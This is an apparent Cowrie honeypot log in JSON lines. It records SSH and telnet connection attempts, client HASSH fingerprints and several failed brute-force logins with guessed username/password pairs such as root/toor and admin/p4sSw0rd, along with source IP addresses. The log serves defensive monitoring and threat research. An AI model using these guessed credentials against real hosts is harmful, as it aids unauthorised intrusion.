{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:11.777290Z","src_ip":"122.168.114.167","session":"a21eae7f3f81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.14732766151428,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:12.287405Z","src_ip":"34.69.118.1","session":"6c7afeffef56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34418,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4088f0a17f7","protocol":"telnet","message":"New connection: 34.69.118.1:34418 (159.203.135.109:23) [session: b4088f0a17f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:12.723971Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":37738,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fb39e372c01","protocol":"ssh","message":"New connection: 113.163.156.190:37738 (159.203.135.109:22) [session: 3fb39e372c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:14.972662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:14.978024Z","src_ip":"113.163.156.190","session":"3fb39e372c01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:15.238771Z","src_ip":"113.163.156.190","session":"3fb39e372c01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa55@W0rd","message":"login attempt [root/Pa55@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:16.296010Z","src_ip":"113.163.156.190","session":"3fb39e372c01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:17.554929Z","src_ip":"113.163.156.190","session":"3fb39e372c01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":34192,"dst_ip":"159.203.135.109","dst_port":23,"session":"77021bf58226","protocol":"telnet","message":"New connection: 157.15.20.138:34192 (159.203.135.109:23) [session: 77021bf58226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:18.051034Z"}
{"eventid":"cowrie.session.closed","duration":31.15047526359558,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:18.133681Z","src_ip":"157.15.20.138","session":"f413daa7e16c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":55532,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f3abeca3269","protocol":"telnet","message":"New connection: 103.171.45.122:55532 (159.203.135.109:23) [session: 1f3abeca3269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:18.143004Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":41212,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6dcbbb1fc6b","protocol":"ssh","message":"New connection: 190.108.60.101:41212 (10.17.0.5:22) [session: d6dcbbb1fc6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:19.973338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:19.977449Z","src_ip":"190.108.60.101","session":"d6dcbbb1fc6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:20.180569Z","src_ip":"190.108.60.101","session":"d6dcbbb1fc6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.32564949989319,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:20.191402Z","src_ip":"104.236.196.85","session":"9db2e94240a2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps123!@#","message":"login attempt [root/vps123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:21.038019Z","src_ip":"190.108.60.101","session":"d6dcbbb1fc6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:21.782966Z","src_ip":"122.168.114.167","session":"a21eae7f3f81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.475574493408203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:22.063096Z","src_ip":"34.69.118.1","session":"5fa277da642e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:22.243257Z","src_ip":"190.108.60.101","session":"d6dcbbb1fc6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.607129096984863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:23.017284Z","src_ip":"62.171.133.168","session":"b06b736cd579","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.311691284179688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:23.022388Z","src_ip":"62.171.133.168","session":"b96998a9bb45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":57860,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba06be155f52","protocol":"telnet","message":"New connection: 62.171.133.168:57860 (159.203.135.109:23) [session: ba06be155f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:24.724517Z"}
{"eventid":"cowrie.session.closed","duration":"16.2","message":"Connection lost after 16.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:25.310479Z","src_ip":"122.168.114.167","session":"a21eae7f3f81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":51612,"dst_ip":"10.17.0.5","dst_port":22,"session":"81d64b8836ca","protocol":"ssh","message":"New connection: 221.139.88.149:51612 (10.17.0.5:22) [session: 81d64b8836ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:25.419441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:25.444501Z","src_ip":"221.139.88.149","session":"81d64b8836ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:25.651219Z","src_ip":"221.139.88.149","session":"81d64b8836ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":59262,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b846e883d44","protocol":"telnet","message":"New connection: 103.171.45.122:59262 (159.203.135.109:23) [session: 9b846e883d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:26.191592Z"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@2024","message":"login attempt [git/git@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:26.442770Z","src_ip":"221.139.88.149","session":"81d64b8836ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.758740186691284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:27.066992Z","src_ip":"62.171.133.168","session":"98a4fef961d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":57870,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea72cdfb4f70","protocol":"telnet","message":"New connection: 62.171.133.168:57870 (159.203.135.109:23) [session: ea72cdfb4f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:27.283834Z"}
{"eventid":"cowrie.session.closed","duration":31.208227396011353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:27.301413Z","src_ip":"103.171.45.122","session":"fb95e8ad6f14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":57880,"dst_ip":"159.203.135.109","dst_port":23,"session":"62d51e3fac40","protocol":"telnet","message":"New connection: 62.171.133.168:57880 (159.203.135.109:23) [session: 62d51e3fac40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:27.352879Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:27.665064Z","src_ip":"221.139.88.149","session":"81d64b8836ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":60684,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f404a904839","protocol":"telnet","message":"New connection: 34.69.118.1:60684 (159.203.135.109:23) [session: 6f404a904839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:27.673378Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":57896,"dst_ip":"159.203.135.109","dst_port":23,"session":"c23b3cc2ac45","protocol":"telnet","message":"New connection: 62.171.133.168:57896 (159.203.135.109:23) [session: c23b3cc2ac45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:28.607704Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":60730,"dst_ip":"159.203.135.109","dst_port":23,"session":"df9073aa4c10","protocol":"telnet","message":"New connection: 62.171.133.168:60730 (159.203.135.109:23) [session: df9073aa4c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:31.183649Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":60696,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d08b3cb0c60","protocol":"telnet","message":"New connection: 34.69.118.1:60696 (159.203.135.109:23) [session: 6d08b3cb0c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:32.171597Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":60700,"dst_ip":"159.203.135.109","dst_port":23,"session":"a873b4951fec","protocol":"telnet","message":"New connection: 34.69.118.1:60700 (159.203.135.109:23) [session: a873b4951fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:32.996922Z"}
{"eventid":"cowrie.session.closed","duration":45.023653984069824,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:33.360516Z","src_ip":"185.26.126.47","session":"437a0974a910","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.224.215","src_port":34790,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb07d4dce3a1","protocol":"telnet","message":"New connection: 108.61.224.215:34790 (159.203.135.109:23) [session: bb07d4dce3a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:34.369726Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.167.206.194","src_port":54802,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b6e6bece446","protocol":"ssh","message":"New connection: 119.167.206.194:54802 (10.17.0.5:22) [session: 3b6e6bece446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:36.710073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:36.833779Z","src_ip":"119.167.206.194","session":"3b6e6bece446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:37.081120Z","src_ip":"119.167.206.194","session":"3b6e6bece446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"p4sSw0rd","message":"login attempt [admin/p4sSw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:38.139753Z","src_ip":"119.167.206.194","session":"3b6e6bece446","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:39.391907Z","src_ip":"119.167.206.194","session":"3b6e6bece446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":60816,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5435dd95a14","protocol":"telnet","message":"New connection: 62.171.133.168:60816 (159.203.135.109:23) [session: b5435dd95a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:40.666945Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":42542,"dst_ip":"159.203.135.109","dst_port":23,"session":"679a6c938280","protocol":"telnet","message":"New connection: 103.171.45.122:42542 (159.203.135.109:23) [session: 679a6c938280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:41.000931Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":56660,"dst_ip":"159.203.135.109","dst_port":23,"session":"72f40c4ae61b","protocol":"telnet","message":"New connection: 34.69.118.1:56660 (159.203.135.109:23) [session: 72f40c4ae61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:41.922614Z"}
{"eventid":"cowrie.session.closed","duration":31.23711919784546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:43.960963Z","src_ip":"34.69.118.1","session":"b4088f0a17f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":37756,"dst_ip":"10.17.0.5","dst_port":22,"session":"22a6f5836fbc","protocol":"ssh","message":"New connection: 148.230.169.229:37756 (10.17.0.5:22) [session: 22a6f5836fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:46.242868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:46.499491Z","src_ip":"148.230.169.229","session":"22a6f5836fbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:46.562184Z","src_ip":"148.230.169.229","session":"22a6f5836fbc","protocol":"ssh"}
